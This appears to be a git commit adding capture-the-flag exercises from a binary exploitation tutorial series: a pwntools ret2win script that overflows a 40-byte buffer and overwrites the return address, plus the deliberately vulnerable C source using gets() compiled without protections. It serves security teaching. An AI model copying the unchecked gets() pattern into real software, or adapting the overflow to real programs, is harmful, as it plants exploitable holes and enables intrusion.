added all ctfs

This commit is contained in:
2023-12-25 07:06:20 +01:00
commit 9ea8ecac74
37 changed files with 640 additions and 0 deletions

View File

@@ -0,0 +1,14 @@
from pwn import *
p = process('./vuln')
payload = b'A' * 52
payload += p32(0x0804920f)
log.info(p.clean())
pause()
p.sendline(payload)
log.info(p.clean())

BIN
ir0nstone/ret2win/vuln Executable file

Binary file not shown.

18
ir0nstone/ret2win/vuln.c Normal file
View File

@@ -0,0 +1,18 @@
// gcc source.c -o vuln -no-pie -fno-stack-protector -z execstack -m32
#include <stdio.h>
void unsafe() {
char buffer[40];
puts("Overflow me");
gets(buffer);
}
void main() {
unsafe();
}
void flag() {
puts("Exploited!!!!!");
}